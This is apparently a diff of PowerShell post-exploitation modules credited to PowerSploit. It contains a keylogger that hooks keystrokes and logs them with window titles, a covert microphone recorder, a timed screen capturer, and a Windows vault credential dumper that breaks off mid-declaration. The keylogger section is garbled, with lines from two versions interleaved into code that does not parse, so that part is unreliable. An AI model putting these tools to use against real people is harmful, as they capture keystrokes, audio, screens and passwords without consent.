[Runtime.InteropServices.CharSet]::Auto
)
$CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
$PInvokeMethod.SetCustomAttribute($CustomAttribute)
# CallNextHookEx
$CallNextHookExAddr = Get-ProcAddress user32.dll CallNextHookEx
$CallNextHookExDelegate = Get-DelegateType @([IntPtr], [Int32], [IntPtr], [IntPtr]) ([IntPtr])
$CallNextHookEx = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CallNextHookExAddr, $CallNextHookExDelegate)
$PInvokeMethod = $TypeBuilder.DefineMethod('GetForegroundWindow', 'Public, Static', [IntPtr], [Type[]] @())
$FieldValueArray = [Object[]] @(
'GetForegroundWindow',
$True,
$False,
$True,
[Runtime.InteropServices.CallingConvention]::Winapi,
[Runtime.InteropServices.CharSet]::Auto
)
$CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
$PInvokeMethod.SetCustomAttribute($CustomAttribute)
# UnhookWindowsHookEx
$UnhookWindowsHookExAddr = Get-ProcAddress user32.dll UnhookWindowsHookEx
$UnhookWindowsHookExDelegate = Get-DelegateType @([IntPtr]) ([Void])
$UnhookWindowsHookEx = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($UnhookWindowsHookExAddr, $UnhookWindowsHookExDelegate)
$ImportDll = $TypeBuilder.CreateType()
}
# PeekMessage
$PeekMessageAddr = Get-ProcAddress user32.dll PeekMessageA
$PeekMessageDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UInt32], [UInt32], [UInt32]) ([Void])
$PeekMessage = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($PeekMessageAddr, $PeekMessageDelegate)
Start-Sleep -Milliseconds 40
# GetAsyncKeyState
$GetAsyncKeyStateAddr = Get-ProcAddress user32.dll GetAsyncKeyState
$GetAsyncKeyStateDelegate = Get-DelegateType @([Windows.Forms.Keys]) ([Int16])
$GetAsyncKeyState = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetAsyncKeyStateAddr, $GetAsyncKeyStateDelegate)
try
{
# GetForegroundWindow
$GetForegroundWindowAddr = Get-ProcAddress user32.dll GetForegroundWindow
$GetForegroundWindowDelegate = Get-DelegateType @() ([IntPtr])
$GetForegroundWindow = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetForegroundWindowAddr, $GetForegroundWindowDelegate)
#loop through typeable characters to see which is pressed
for ($TypeableChar = 1; $TypeableChar -le 254; $TypeableChar++)
{
$VirtualKey = $TypeableChar
$KeyResult = $ImportDll::GetAsyncKeyState($VirtualKey)
# GetWindowText
$GetWindowTextAddr = Get-ProcAddress user32.dll GetWindowTextA
$GetWindowTextDelegate = Get-DelegateType @([IntPtr], [Text.StringBuilder], [Int32]) ([Void])
$GetWindowText = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetWindowTextAddr, $GetWindowTextDelegate)
#if the key is pressed
if (($KeyResult -band 0x8000) -eq 0x8000)
{
# GetModuleHandle
$GetModuleHandleAddr = Get-ProcAddress kernel32.dll GetModuleHandleA
$GetModuleHandleDelegate = Get-DelegateType @([String]) ([IntPtr])
$GetModuleHandle = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetModuleHandleAddr, $GetModuleHandleDelegate)
#endregion Imports
#check for keys not mapped by virtual keyboard
$LeftShift = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LShiftKey) -band 0x8000) -eq 0x8000
$RightShift = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RShiftKey) -band 0x8000) -eq 0x8000
$LeftCtrl = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LControlKey) -band 0x8000) -eq 0x8000
$RightCtrl = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RControlKey) -band 0x8000) -eq 0x8000
$LeftAlt = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LMenu) -band 0x8000) -eq 0x8000
$RightAlt = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RMenu) -band 0x8000) -eq 0x8000
$TabKey = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Tab) -band 0x8000) -eq 0x8000
$SpaceBar = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Space) -band 0x8000) -eq 0x8000
$DeleteKey = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Delete) -band 0x8000) -eq 0x8000
$EnterKey = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Return) -band 0x8000) -eq 0x8000
$BackSpaceKey = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Back) -band 0x8000) -eq 0x8000
$LeftArrow = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Left) -band 0x8000) -eq 0x8000
$RightArrow = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Right) -band 0x8000) -eq 0x8000
$UpArrow = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Up) -band 0x8000) -eq 0x8000
$DownArrow = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Down) -band 0x8000) -eq 0x8000
$LeftMouse = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LButton) -band 0x8000) -eq 0x8000
$RightMouse = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RButton) -band 0x8000) -eq 0x8000
$CallbackScript = {
Param (
[Parameter()]
[Int32]$Code,
if ($LeftShift -or $RightShift) {$LogOutput += '[Shift]'}
if ($LeftCtrl -or $RightCtrl) {$LogOutput += '[Ctrl]'}
if ($LeftAlt -or $RightAlt) {$LogOutput += '[Alt]'}
if ($TabKey) {$LogOutput += '[Tab]'}
if ($SpaceBar) {$LogOutput += '[SpaceBar]'}
if ($DeleteKey) {$LogOutput += '[Delete]'}
if ($EnterKey) {$LogOutput += '[Enter]'}
if ($BackSpaceKey) {$LogOutput += '[Backspace]'}
if ($LeftArrow) {$LogOutput += '[Left Arrow]'}
if ($RightArrow) {$LogOutput += '[Right Arrow]'}
if ($UpArrow) {$LogOutput += '[Up Arrow]'}
if ($DownArrow) {$LogOutput += '[Down Arrow]'}
if ($LeftMouse) {$LogOutput += '[Left Mouse]'}
if ($RightMouse) {$LogOutput += '[Right Mouse]'}
[Parameter()]
[IntPtr]$wParam,
#check for capslock
if ([Console]::CapsLock) {$LogOutput += '[Caps Lock]'}
[Parameter()]
[IntPtr]$lParam
)
$MappedKey = $ImportDll::MapVirtualKey($VirtualKey, 3)
$KeyboardState = New-Object Byte[] 256
$CheckKeyboardState = $ImportDll::GetKeyboardState($KeyboardState)
$Keys = [Windows.Forms.Keys]
$MsgType = $wParam.ToInt32()
#create a stringbuilder object
$StringBuilder = New-Object -TypeName System.Text.StringBuilder;
$UnicodeKey = $ImportDll::ToUnicode($VirtualKey, $MappedKey, $KeyboardState, $StringBuilder, $StringBuilder.Capacity, 0)
# Process WM_KEYDOWN & WM_SYSKEYDOWN messages
if ($Code -ge 0 -and ($MsgType -eq 0x100 -or $MsgType -eq 0x104)) {
$hWindow = $GetForegroundWindow.Invoke()
#convert typed characters
if ($UnicodeKey -gt 0) {
$TypedCharacter = $StringBuilder.ToString()
$LogOutput += ('['+ $TypedCharacter +']')
}
$ShiftState = $GetAsyncKeyState.Invoke($Keys::ShiftKey)
if (($ShiftState -band 0x8000) -eq 0x8000) { $Shift = $true }
else { $Shift = $false }
#get the title of the foreground window
$TopWindow = $ImportDll::GetForegroundWindow()
$WindowTitle = (Get-Process | Where-Object { $_.MainWindowHandle -eq $TopWindow }).MainWindowTitle
$Caps = [Console]::CapsLock
#get the current DTG
$TimeStamp = (Get-Date -Format dd/MM/yyyy:HH:mm:ss:ff)
#Create a custom object to store results
$ObjectProperties = @{'Key Typed' = $LogOutput;
'Time' = $TimeStamp;
'Window Title' = $WindowTitle}
$ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties
# Stupid hack since Export-CSV doesn't have an append switch in PSv2
$CSVEntry = ($ResultsObject | ConvertTo-Csv -NoTypeInformation)[1]
#return results
Out-File -FilePath $LogPath -Append -InputObject $CSVEntry -Encoding unicode
# Read virtual-key from buffer
$vKey = [Windows.Forms.Keys][Runtime.InteropServices.Marshal]::ReadInt32($lParam)
# Parse virtual-key
if ($vKey -gt 64 -and $vKey -lt 91) { # Alphabet characters
if ($Shift -xor $Caps) { $Key = $vKey.ToString() }
else { $Key = $vKey.ToString().ToLower() }
}
elseif ($vKey -ge 96 -and $vKey -le 111) { # Number pad characters
switch ($vKey.value__) {
96 { $Key = '0' }
97 { $Key = '1' }
98 { $Key = '2' }
99 { $Key = '3' }
100 { $Key = '4' }
101 { $Key = '5' }
102 { $Key = '6' }
103 { $Key = '7' }
104 { $Key = '8' }
105 { $Key = '9' }
106 { $Key = "*" }
107 { $Key = "+" }
108 { $Key = "|" }
109 { $Key = "-" }
110 { $Key = "." }
111 { $Key = "/" }
}
}
elseif (($vKey -ge 48 -and $vKey -le 57) -or ($vKey -ge 186 -and $vKey -le 192) -or ($vKey -ge 219 -and $vKey -le 222)) {
if ($Shift) {
switch ($vKey.value__) { # Shiftable characters
48 { $Key = ')' }
49 { $Key = '!' }
50 { $Key = '@' }
51 { $Key = '#' }
52 { $Key = '$' }
53 { $Key = '%' }
54 { $Key = '^' }
55 { $Key = '&' }
56 { $Key = '*' }
57 { $Key = '(' }
186 { $Key = ':' }
187 { $Key = '+' }
188 { $Key = '<' }
189 { $Key = '_' }
190 { $Key = '>' }
191 { $Key = '?' }
192 { $Key = '~' }
219 { $Key = '{' }
220 { $Key = '|' }
221 { $Key = '}' }
222 { $Key = '<Double Quotes>' }
}
}
else {
switch ($vKey.value__) {
48 { $Key = '0' }
49 { $Key = '1' }
50 { $Key = '2' }
51 { $Key = '3' }
52 { $Key = '4' }
53 { $Key = '5' }
54 { $Key = '6' }
55 { $Key = '7' }
56 { $Key = '8' }
57 { $Key = '9' }
186 { $Key = ';' }
187 { $Key = '=' }
188 { $Key = ',' }
189 { $Key = '-' }
190 { $Key = '.' }
191 { $Key = '/' }
192 { $Key = '`' }
219 { $Key = '[' }
220 { $Key = '\' }
221 { $Key = ']' }
222 { $Key = '<Single Quote>' }
}
}
}
catch {}
else {
switch ($vKey) {
$Keys::F1 { $Key = '<F1>' }
$Keys::F2 { $Key = '<F2>' }
$Keys::F3 { $Key = '<F3>' }
$Keys::F4 { $Key = '<F4>' }
$Keys::F5 { $Key = '<F5>' }
$Keys::F6 { $Key = '<F6>' }
$Keys::F7 { $Key = '<F7>' }
$Keys::F8 { $Key = '<F8>' }
$Keys::F9 { $Key = '<F9>' }
$Keys::F10 { $Key = '<F10>' }
$Keys::F11 { $Key = '<F11>' }
$Keys::F12 { $Key = '<F12>' }
$Keys::Snapshot { $Key = '<Print Screen>' }
$Keys::Scroll { $Key = '<Scroll Lock>' }
$Keys::Pause { $Key = '<Pause/Break>' }
$Keys::Insert { $Key = '<Insert>' }
$Keys::Home { $Key = '<Home>' }
$Keys::Delete { $Key = '<Delete>' }
$Keys::End { $Key = '<End>' }
$Keys::Prior { $Key = '<Page Up>' }
$Keys::Next { $Key = '<Page Down>' }
$Keys::Escape { $Key = '<Esc>' }
$Keys::NumLock { $Key = '<Num Lock>' }
$Keys::Capital { $Key = '<Caps Lock>' }
$Keys::Tab { $Key = '<Tab>' }
$Keys::Back { $Key = '<Backspace>' }
$Keys::Enter { $Key = '<Enter>' }
$Keys::Space { $Key = '< >' }
$Keys::Left { $Key = '<Left>' }
$Keys::Up { $Key = '<Up>' }
$Keys::Right { $Key = '<Right>' }
$Keys::Down { $Key = '<Down>' }
$Keys::LMenu { $Key = '<Alt>' }
$Keys::RMenu { $Key = '<Alt>' }
$Keys::LWin { $Key = '<Windows Key>' }
$Keys::RWin { $Key = '<Windows Key>' }
$Keys::LShiftKey { $Key = '<Shift>' }
$Keys::RShiftKey { $Key = '<Shift>' }
$Keys::LControlKey { $Key = '<Ctrl>' }
$Keys::RControlKey { $Key = '<Ctrl>' }
}
}
# Get foreground window's title
$Title = New-Object Text.Stringbuilder 256
$GetWindowText.Invoke($hWindow, $Title, $Title.Capacity)
# Define object properties
$Props = @{
Key = $Key
Time = [DateTime]::Now
Window = $Title.ToString()
}
$obj = New-Object psobject -Property $Props
# Stupid hack since Export-CSV doesn't have an append switch in PSv2
$CSVEntry = ($obj | Select-Object Key,Window,Time | ConvertTo-Csv -NoTypeInformation)[1]
#return results
Out-File -FilePath $LogPath -Append -InputObject $CSVEntry -Encoding unicode
}
return $CallNextHookEx.Invoke([IntPtr]::Zero, $Code, $wParam, $lParam)
}
$Initilizer = [ScriptBlock]::Create(($Initilizer -replace 'REPLACEME', $LogPath))
# Cast scriptblock as LowLevelKeyboardProc callback
$Delegate = Get-DelegateType @([Int32], [IntPtr], [IntPtr]) ([IntPtr])
$Callback = $CallbackScript -as $Delegate
# Get handle to PowerShell for hook
$PoshModule = (Get-Process -Id $PID).MainModule.ModuleName
$ModuleHandle = $GetModuleHandle.Invoke($PoshModule)
Start-Job -InitializationScript $Initilizer -ScriptBlock {for (;;) {Keylog}} -Name Keylogger | Out-Null
# Set WM_KEYBOARD_LL hook
$Hook = $SetWindowsHookEx.Invoke(0xD, $Callback, $ModuleHandle, 0)
$Stopwatch = [Diagnostics.Stopwatch]::StartNew()
if ($PSBoundParameters['CollectionInterval'])
{
$Timer = New-Object Timers.Timer($CollectionInterval * 60 * 1000)
while ($true) {
if ($PSBoundParameters.Timeout -and ($Stopwatch.Elapsed.TotalMinutes -gt $Timeout)) { break }
$PeekMessage.Invoke([IntPtr]::Zero, [IntPtr]::Zero, 0x100, 0x109, 0)
Start-Sleep -Milliseconds 10
}
Register-ObjectEvent -InputObject $Timer -EventName Elapsed -SourceIdentifier ElapsedAction -Action {
Stop-Job -Name Keylogger
Unregister-Event -SourceIdentifier ElapsedAction
$Sender.Stop()
} | Out-Null
$Stopwatch.Stop()
# Remove the hook
$UnhookWindowsHookEx.Invoke($Hook)
}
# Setup KeyLogger's runspace
$PowerShell = [PowerShell]::Create()
[void]$PowerShell.AddScript($Script)
[void]$PowerShell.AddArgument($LogPath)
if ($PSBoundParameters.Timeout) { [void]$PowerShell.AddArgument($Timeout) }
# Start KeyLogger
[void]$PowerShell.BeginInvoke()
if ($PassThru.IsPresent) { return $PowerShell }
}
+187
View File
@@ -0,0 +1,187 @@
function Get-MicrophoneAudio {
<#
.SYNOPSIS
Records audio from the microphone and saves to a file on disk
Author: Justin Warner (@sixdub)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
All credit for PowerSploit functions belongs to the original author and project contributors. Thanks for the awesomeness! See here for more info:
http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html
https://github.com/PowerShellMafia/PowerSploit
Thanks to Ed Wilson (Scripting Guy) for the one liner to generate random chars. https://blogs.technet.microsoft.com/heyscriptingguy/2015/11/05/generate-random-letters-with-powershell/
.DESCRIPTION
Get-MicrophoneAudio utilizes the Windows API from winmm.dll to record audio from the microphone and saves the wave file to disk.
.OUTPUTS
Outputs the FileInfo object pointing to the recording which has been saved to disk.
.PARAMETER Path
The location to save the audio
.PARAMETER Length
The length of the audio to record in seconds. Default: 30
.PARAMETER Alias
The alias to use for the WinMM recording. Default: Random 10 Chars
.EXAMPLE
Get-MicrophoneAudio -Path c:\windows\temp\secret.wav -Length 10 -Alias "SECRET"
Description
-----------
Records 10 seconds of audio to the path C:\windows\temp\secret.wav using WinMM alias "secret"
#>
[OutputType([System.IO.FileInfo])]
Param
(
[Parameter( Position = 0, Mandatory = $True)]
[ValidateScript({Split-Path $_ | Test-Path})]
[String] $Path,
[Parameter( Position = 1, Mandatory = $False)]
[Int] $Length = 30,
[Parameter( Position = 2, Mandatory = $False)]
[String] $Alias = $(-join ((65..90) + (97..122) | Get-Random -Count 10 | % {[char]$_}))
)
#Get-DelegateType from PowerSploit
function Local:Get-DelegateType
{
Param
(
[OutputType([Type])]
[Parameter( Position = 0)]
[Type[]]
$Parameters = (New-Object Type[](0)),
[Parameter( Position = 1 )]
[Type]
$ReturnType = [Void]
)
$Domain = [AppDomain]::CurrentDomain
$DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
$TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
$ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
$MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
$MethodBuilder.SetImplementationFlags('Runtime, Managed')
Write-Output $TypeBuilder.CreateType()
}
#Get-ProcAddress from PowerSploit
function local:Get-ProcAddress
{
Param
(
[OutputType([IntPtr])]
[Parameter( Position = 0, Mandatory = $True )]
[String]
$Module,
[Parameter( Position = 1, Mandatory = $True )]
[String]
$Procedure
)
# Get a reference to System.dll in the GAC
$SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
$UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
# Get a reference to the GetModuleHandle and GetProcAddress methods
$GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
# Get a handle to the module specified
$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
$tmpPtr = New-Object IntPtr
$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
# Return the address of the function
Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
}
#Initialize and call LoadLibrary on our required DLL
$LoadLibraryAddr = Get-ProcAddress kernel32.dll LoadLibraryA
$LoadLibraryDelegate = Get-DelegateType @([String]) ([IntPtr])
$LoadLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LoadLibraryAddr, $LoadLibraryDelegate)
$HND = $null
$HND = $LoadLibrary.Invoke('winmm.dll')
if ($HND -eq $null)
{
Throw 'Failed to aquire handle to winmm.dll'
}
#Initialize the function call to count devices
$waveInGetNumDevsAddr = $null
$waveInGetNumDevsAddr = Get-ProcAddress winmm.dll waveInGetNumDevs
$waveInGetNumDevsDelegate = Get-DelegateType @() ([Uint32])
if ($waveInGetNumDevsAddr -eq $null)
{
Throw 'Failed to aquire address to WaveInGetNumDevs'
}
$waveInGetNumDevs = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($waveInGetNumDevsAddr, $waveInGetNumDevsDelegate)
#Initilize the function call to record audio
$mciSendStringAddr = $null
$mciSendStringAddr = Get-ProcAddress winmm.dll mciSendStringA
$mciSendStringDelegate = Get-DelegateType @([String],[String],[UInt32],[IntPtr]) ([Uint32])
if ($mciSendStringAddr -eq $null)
{
Throw 'Failed to aquire address to mciSendStringA'
}
$mciSendString = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($mciSendStringAddr, $mciSendStringDelegate)
#Initialize the ability to resolve MCI Errors
$mciGetErrorStringAddr = $null
$mciGetErrorStringAddr = Get-ProcAddress winmm.dll mciGetErrorStringA
$mciGetErrorStringDelegate = Get-DelegateType @([UInt32],[Text.StringBuilder],[UInt32]) ([bool])
if ($mciGetErrorStringAddr -eq $null)
{
Throw 'Failed to aquire address to mciGetErrorString'
}
$mciGetErrorString = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($mciGetErrorStringAddr,$mciGetErrorStringDelegate)
#Get device count
$DeviceCount = $waveInGetNumDevs.Invoke()
if ($DeviceCount -gt 0)
{
#Define buffer for MCI errors. https://msdn.microsoft.com/en-us/library/windows/desktop/dd757153(v=vs.85).aspx
$errmsg = New-Object Text.StringBuilder 150
#Open an alias
$rtnVal = $mciSendString.Invoke("open new Type waveaudio Alias $alias",'',0,0)
if ($rtnVal -ne 0) {$mciGetErrorString.Invoke($rtnVal,$errmsg,150); $msg=$errmsg.ToString();Throw "MCI Error ($rtnVal): $msg"}
#Call recording function
$rtnVal = $mciSendString.Invoke("record $alias", '', 0, 0)
if ($rtnVal -ne 0) {$mciGetErrorString.Invoke($rtnVal,$errmsg,150); $msg=$errmsg.ToString();Throw "MCI Error ($rtnVal): $msg"}
Start-Sleep -s $Length
#save recorded audio to disk
$rtnVal = $mciSendString.Invoke("save $alias `"$path`"", '', 0, 0)
if ($rtnVal -ne 0) {$mciGetErrorString.Invoke($rtnVal,$errmsg,150); $msg=$errmsg.ToString();Throw "MCI Error ($rtnVal): $msg"}
#terminate alias
$rtnVal = $mciSendString.Invoke("close $alias", '', 0, 0);
if ($rtnVal -ne 0) {$mciGetErrorString.Invoke($rtnVal,$errmsg,150); $msg=$errmsg.ToString();Throw "MCI Error ($rtnVal): $msg"}
$OutFile = Get-ChildItem -path $path
Write-Output $OutFile
}
else
{
Throw 'Failed to enumerate any recording devices'
}
}
+19 -3
View File
@@ -1,4 +1,4 @@
function Get-TimedScreenshot
function Get-TimedScreenshot
{
<#
.SYNOPSIS
@@ -52,9 +52,25 @@ https://github.com/mattifestation/PowerSploit/blob/master/Exfiltration/Get-Timed
#Define helper function that generates and saves screenshot
Function Get-Screenshot {
$ScreenBounds = [Windows.Forms.SystemInformation]::VirtualScreen
$ScreenshotObject = New-Object Drawing.Bitmap $ScreenBounds.Width, $ScreenBounds.Height
$VideoController = Get-WmiObject -Query 'SELECT VideoModeDescription FROM Win32_VideoController'
if ($VideoController.VideoModeDescription -and $VideoController.VideoModeDescription -match '(?<ScreenWidth>^\d+) x (?<ScreenHeight>\d+) x .*$') {
$Width = [Int] $Matches['ScreenWidth']
$Height = [Int] $Matches['ScreenHeight']
} else {
$ScreenBounds = [Windows.Forms.SystemInformation]::VirtualScreen
$Width = $ScreenBounds.Width
$Height = $ScreenBounds.Height
}
$Size = New-Object System.Drawing.Size($Width, $Height)
$Point = New-Object System.Drawing.Point(0, 0)
$ScreenshotObject = New-Object Drawing.Bitmap $Width, $Height
$DrawingGraphics = [Drawing.Graphics]::FromImage($ScreenshotObject)
$DrawingGraphics.CopyFromScreen( $ScreenBounds.Location, [Drawing.Point]::Empty, $ScreenBounds.Size)
$DrawingGraphics.CopyFromScreen($Point, [Drawing.Point]::Empty, $Size)
$DrawingGraphics.Dispose()
$ScreenshotObject.Save($FilePath)
$ScreenshotObject.Dispose()
+399
View File
@@ -0,0 +1,399 @@
function Get-VaultCredential
{
<#
.SYNOPSIS
Displays Windows vault credential objects including cleartext web credentials.
PowerSploit Function: Get-VaultCredential
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Get-VaultCredential enumerates and displays all credentials stored in the Windows
vault. Web credentials, specifically are displayed in cleartext. This script was
inspired by the following C implementation: http://www.oxid.it/downloads/vaultdump.txt
.EXAMPLE
Get-VaultCredential
.NOTES
Only web credentials can be displayed in cleartext.
#>
[CmdletBinding()] Param()
$OSVersion = [Environment]::OSVersion.Version
#region P/Invoke declarations for vaultcli.dll
$DynAssembly = New-Object System.Reflection.AssemblyName('VaultUtil')
$AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('VaultUtil', $False)
$EnumBuilder = $ModuleBuilder.DefineEnum('VaultLib.VAULT_ELEMENT_TYPE', 'Public', [Int32])
$null = $EnumBuilder.DefineLiteral('Undefined', -1)
$null = $EnumBuilder.DefineLiteral('Boolean', 0)
$null = $EnumBuilder.DefineLiteral('Short', 1)
$null = $EnumBuilder.DefineLiteral('UnsignedShort', 2)
$null = $EnumBuilder.DefineLiteral('Int', 3)
$null = $EnumBuilder.DefineLiteral('UnsignedInt', 4)
$null = $EnumBuilder.DefineLiteral('Double', 5)
$null = $EnumBuilder.DefineLiteral('Guid', 6)
$null = $EnumBuilder.DefineLiteral('String', 7)
$null = $EnumBuilder.DefineLiteral('ByteArray', 8)
$null = $EnumBuilder.DefineLiteral('TimeStamp', 9)
$null = $EnumBuilder.DefineLiteral('ProtectedArray', 10)
$null = $EnumBuilder.DefineLiteral('Attribute', 11)
$null = $EnumBuilder.DefineLiteral('Sid', 12)
$null = $EnumBuilder.DefineLiteral('Last', 13)
$VAULT_ELEMENT_TYPE = $EnumBuilder.CreateType()
$EnumBuilder = $ModuleBuilder.DefineEnum('VaultLib.VAULT_SCHEMA_ELEMENT_ID', 'Public', [Int32])
$null = $EnumBuilder.DefineLiteral('Illegal', 0)
$null = $EnumBuilder.DefineLiteral('Resource', 1)
$null = $EnumBuilder.DefineLiteral('Identity', 2)
$null = $EnumBuilder.DefineLiteral('Authenticator', 3)
$null = $EnumBuilder.DefineLiteral('Tag', 4)
$null = $EnumBuilder.DefineLiteral('PackageSid', 5)
$null = $EnumBuilder.DefineLiteral('AppStart', 100)
$null = $EnumBuilder.DefineLiteral('AppEnd', 10000)
$VAULT_SCHEMA_ELEMENT_ID = $EnumBuilder.CreateType()
$LayoutConstructor = [Runtime.InteropServices.StructLayoutAttribute].GetConstructor([Runtime.InteropServices.LayoutKind])
$CharsetField = [Runtime.InteropServices.StructLayoutAttribute].GetField('CharSet')
$StructLayoutCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($LayoutConstructor,
@([Runtime.InteropServices.LayoutKind]::Explicit),
$CharsetField,
@([Runtime.InteropServices.CharSet]::Ansi))
$StructAttributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('VaultLib.VAULT_ITEM', $StructAttributes, [Object], [System.Reflection.Emit.PackingSize]::Size4)
$null = $TypeBuilder.DefineField('SchemaId', [Guid], 'Public')
$null = $TypeBuilder.DefineField('pszCredentialFriendlyName', [IntPtr], 'Public')
$null = $TypeBuilder.DefineField('pResourceElement', [IntPtr], 'Public')
$null = $TypeBuilder.DefineField('pIdentityElement', [IntPtr], 'Public')
$null = $TypeBuilder.DefineField('pAuthenticatorElement', [IntPtr], 'Public')
if ($OSVersion -ge '6.2')
{
$null = $TypeBuilder.DefineField('pPackageSid', [IntPtr], 'Public')
}
$null = $TypeBuilder.DefineField('LastModified', [UInt64], 'Public')
$null = $TypeBuilder.DefineField('dwFlags', [UInt32], 'Public')
$null = $TypeBuilder.DefineField('dwPropertiesCount', [UInt32], 'Public')
$null = $TypeBuilder.DefineField('pPropertyElements', [IntPtr], 'Public')
$VAULT_ITEM = $TypeBuilder.CreateType()
$TypeBuilder = $ModuleBuilder.DefineType('VaultLib.VAULT_ITEM_ELEMENT', $StructAttributes)
$TypeBuilder.SetCustomAttribute($StructLayoutCustomAttribute)
$null = $TypeBuilder.DefineField('SchemaElementId', $VAULT_SCHEMA_ELEMENT_ID, 'Public').SetOffset(0)
$null = $TypeBuilder.DefineField('Type', $VAULT_ELEMENT_TYPE, 'Public').SetOffset(8)
$VAULT_ITEM_ELEMENT = $TypeBuilder.CreateType()
$TypeBuilder = $ModuleBuilder.DefineType('VaultLib.Vaultcli', 'Public, Class')
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultOpenVault',
'vaultcli.dll',
'Public, Static',
[Reflection.CallingConventions]::Standard,
[Int32],
[Type[]] @([Guid].MakeByRefType(),
[UInt32],
[IntPtr].MakeByRefType()),
[Runtime.InteropServices.CallingConvention]::Winapi,
[Runtime.InteropServices.CharSet]::Auto)
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultCloseVault',
'vaultcli.dll',
'Public, Static',
[Reflection.CallingConventions]::Standard,
[Int32],
[Type[]] @([IntPtr].MakeByRefType()),
[Runtime.InteropServices.CallingConvention]::Winapi,
[Runtime.InteropServices.CharSet]::Auto)
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultFree',
'vaultcli.dll',
'Public, Static',
[Reflection.CallingConventions]::Standard,
[Int32],
[Type[]] @([IntPtr]),
[Runtime.InteropServices.CallingConvention]::Winapi,
[Runtime.InteropServices.CharSet]::Auto)
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultEnumerateVaults',
'vaultcli.dll',
'Public, Static',
[Reflection.CallingConventions]::Standard,
[Int32],
[Type[]] @([Int32],
[Int32].MakeByRefType(),
[IntPtr].MakeByRefType()),
[Runtime.InteropServices.CallingConvention]::Winapi,
[Runtime.InteropServices.CharSet]::Auto)
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultEnumerateItems',
'vaultcli.dll',
'Public, Static',
[Reflection.CallingConventions]::Standard,
[Int32],
[Type[]] @([IntPtr],
[Int32],
[Int32].MakeByRefType(),
[IntPtr].MakeByRefType()),
[Runtime.InteropServices.CallingConvention]::Winapi,
[Runtime.InteropServices.CharSet]::Auto)
if ($OSVersion -ge '6.2')
{
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultGetItem',
'vaultcli.dll',
'Public, Static',
[Reflection.CallingConventions]::Standard,
[Int32],
[Type[]] @([IntPtr],
[Guid].MakeByRefType(),
[IntPtr],
[IntPtr],
[IntPtr],
